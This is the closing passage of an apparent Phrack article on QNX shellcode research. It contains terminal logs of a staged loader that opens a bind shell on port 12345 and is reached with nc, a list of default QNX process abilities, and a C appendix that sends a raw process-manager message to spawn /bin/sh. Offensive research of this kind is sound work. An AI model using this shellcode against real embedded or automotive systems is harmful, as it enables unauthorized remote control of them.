10.10.17.153 12345 Connection to 10.10.17.153 12345 port [tcp/*] succeeded! uname -a QNX localhost 8.0.0 2025/07/30-19:17:34EDT RaspberryPi4B aarch64le --[ QNX 7.1.0S AArch64le --- Terminal (code server) # uname -a QNX xxxx 7.1.0S 2024/11/01-14:27:36EDT ARMv8_nVidia-Orin aarch64le # ./codesrvc [+] Starting code service on 127.0.0.1:23456 [+] PID=1220929 Accepting client on 127.0.0.1:23456 [+] fd=4 Processing connected client [+] Read 216 bytes [+] Flushing data and instruction cache [+] Jumping to code --- Terminal (client on same machine as code server) # netstat -na | grep LIST | grep 12345 # ./codeclient [+] Connecting to 127.0.0.1:23456 [+] Sending stage 1 (216 bytes) [+] Sending stage 2 (2524 bytes) [+] Done # netstat -na | grep LIST | grep 12345 tcp 0 0 *.12345 *.* LISTEN # --- Terminal (remote Linux machine using SSH forward to port 12345) $ nc -vv localhost 12345 Connection to localhost (127.0.0.1) 12345 port [tcp/*] succeeded! uname -a QNX xxxx 7.1.0S 2024/11/01-14:27:36EDT ARMv8_nVidia-Orin aarch64le --[ 5 - Conclusion ]------------------------------------------------------- The QNX system is a stable, effective, and reliable operating system well designed for safety and high performance. The "shellcode" exploration of the QNX system has just begun with this research. Stable shellcode provides a reliable foundation for future vulnerability research, and who knows what can be found in the area of memory corruption ... It is expected that a lot of proprietary code is running in these areas, which might have been kept far away from public eyes and in-depth security reviews ... --[ References ]----------------------------------------------------------- [1] 2018, Dissecting QNX https://i.blackhat.com/briefings/asia/2018/asia-18-Wetzels_Abassi_disse cting_qnx__WP.pdf [2] QNX C Library Reference https://www.qnx.com/developers/docs/8.0/com.qnx.doc.neutrino.lib_ref/to pic/about.html [3] QNX process abilities https://www.qnx.com/developers/docs/8.0/com.qnx.doc.security.system/to pic/manual/abilities_reference.html [4] QNX pidin utility https://www.qnx.com/developers/docs/8.0/com.qnx.doc.neutrino.utilities /topic/p/pidin.html [5] QNX on utility https://www.qnx.com/developers/docs/8.0/com.qnx.doc.neutrino.utilities /topic/o/on.html [6] QNX Security policy language https://www.qnx.com/developers/docs/8.0/com.qnx.doc.security.system/to pic/manual/secpol_language.html [7] QNX procmgr_ability https://www.qnx.com/developers/docs/8.0/com.qnx.doc.neutrino.lib_ref/t opic/p/procmgr_ability.html [8] QNX ConnectAttach function https://www.qnx.com/developers/docs/8.0/com.qnx.doc.neutrino.lib_ref/t opic/c/connectattach.html [9] GCC Thread-Local Storage https://gcc.gnu.org/onlinedocs/gcc/Thread-Local.html [a] QNX Thread Local Storage (TLS) https://www.qnx.com/developers/docs/8.0/com.qnx.doc.neutrino.sys_arch/ topic/thread_local_storage.html [b] QNX Networking stack io-sock https://www.qnx.com/developers/docs/8.0/com.qnx.doc.neutrino.io_sock/t opic/about.html [c] developer.arm.com: Caches and Self-Modifying Code https://developer.arm.com/community/arm-community-blogs/b/architecture s-and-processors-blog/posts/caches-self-modifying-code-implementing-cl ear-cache --[ Appendix A - QNX 8.04 Default Process abilities ]--------------------- # pidin -p 17678367 abilities pid name 17678367 ./nothing spawn_setuid R--- spawn_setgid R--- setuid R--- setgid R--- getid R--- pathspace R--- reboot R--- cpumode R--- runstate R--- confset R--- rsrcdbmgr R--- session R--- umask R--- event R--- rlimit R--- mem_add R--- mem_phys R--- mem_special R--- mem_global R--- mem_peer R--- mem_lock R--- spawn RN-- fork RN-- prot_exec RN-- wait R--- msg_queue R--- clockset R--- interrupt R--- io R--- trace R--- priority R--- connection R--- schedule R--- signal R--- timer R--- pgrp RN-- map_fixed RN-- path_trust R--- swap R--- rconstraint RN-- child_newapp R--- public_channel RN-- aps_root R--- able_create R--- runstate_burst RN-- default_timer_tolerance R--- xprocess_query R--- chroot R--- power R--- prot_write_and_exec RN-- srandom R--- hyp R--- rlimit_peer R--- channel_connect R--- mac_policy R--- settypeid R--- able_priv R--- xprocess_able R--- xprocess_debug R--- xprocess_mem_read R--- high_resolution_timer R--- untrusted_exec RN-- server_monitor R--- sigev_thread RN-- privreg R--- mountifs R--- iofunc/chown R--- iofunc/read R--- iofunc/dup R--- iofunc/exec ---- vfs/mount-blk R--- vfs/pregrow R--- vfs/relearn R--- vfs/stats-clear R--- vfs/fs-control R--- network/privport R--- network/rawsocket R--- network/reuseport R--- network/ipsec R--- network/admin R--- network/jailroot RN-- eol DD-- --[ Appendix B - msgsend_spawn.c ]----------------------------------------- #include <stdio.h> #include <string.h> #include <errno.h> #include <sys/neutrino.h> #include <sys/procmgr.h> /* * QNX 8.x x86_64 and AArch64le * Send raw data to process manager to spawn /bin/sh * By Claes M Sjoberg <[email protected]>, May 2026 * * Compile: * qcc -Vgcc_ntox86_64 -Wall -o msgsend_spawn msgsend_spawn.c * qcc -Vgcc_ntoaarch64le -Wall -o msgsend_spawn msgsend_spawn.c */ void msgsend_spawn() { uint8_t data[] = { 0x10, 0x00, 0x06, 0x00, 0x08, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x28, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x7f, 0x0e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1c, 0x08, 0x00, 0xdd, 0xff, 0x08, 0x00, 0xe8, 0x9d, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x7f, 0x0e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x62, 0x6f, 0x6f, 0x74, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x00 }; MsgSend(0x40000000, data, sizeof(data), NULL, 0); perror("MsgSend()"); } int main(void) { msgsend_spawn(); } --[ Appendix C - Source code ]--------------------------------------------- The latest source code files for this project can be found at https://github.com/claesmnyberg/QNX qnx-shellcode.tgz |=[ EOF ]=---------------------------------------------------------------=|
![..[ Phrack Magazine ]..](/images/phrack-new.webp)